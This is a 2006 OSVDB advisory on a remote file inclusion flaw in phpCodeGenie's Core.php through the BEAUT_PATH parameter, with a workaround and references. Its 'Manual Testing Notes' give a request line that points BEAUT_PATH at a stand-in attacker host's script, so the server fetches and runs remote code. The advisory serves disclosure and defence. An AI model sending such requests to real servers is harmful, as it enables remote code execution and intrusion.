phpCodeGenie Core.php BEAUT_PATH Variable Remote File Inclusion

2006-08-18T09:18:56
ID OSVDB:28035
Type osvdb
Reporter Kacper(kacper1964@yahoo.pl)
Modified 2006-08-18T09:18:56

Description

Vulnerability Description

phpCodeGenie contains a flaw that may allow a remote attacker to execute arbitrary commands. The issue is due to the '/app/common/lib/codeBeautifier/Beautifier/Core.php' script not properly sanitizing user input supplied to the 'BEAUT_PATH' variable. This may allow an attacker to include a file from a remote host that contains arbitrary commands which will be executed by the vulnerable script.

Technical Description

This vulnerability is only present when the register_globals PHP option is set to 'on'. This has not been the default setting for PHP installs since version 4.2.0 (22-Apr-2002).

Solution Description

Currently, there are no known upgrades or patches to correct this issue. It is possible to correct the flaw by implementing the following workaround(s): Restrict access to the "app" directory (e.g. via .htaccess).

Short Description

phpCodeGenie contains a flaw that may allow a remote attacker to execute arbitrary commands. The issue is due to the '/app/common/lib/codeBeautifier/Beautifier/Core.php' script not properly sanitizing user input supplied to the 'BEAUT_PATH' variable. This may allow an attacker to include a file from a remote host that contains arbitrary commands which will be executed by the vulnerable script.

Manual Testing Notes

http://[target]/[phpCodeGenie_path]/app/common/lib/codeBeautifier/Beautifier/Core.php?BEAUT_PATH=[http://[attacker]/evil_scripts.txt]

References:

Vendor URL: http://sourceforge.net/projects/phpcodegenie/ Secunia Advisory ID:21578 ISS X-Force ID: 28455 Generic Exploit URL: http://milw0rm.com/exploits/2212 Bugtraq ID: 19618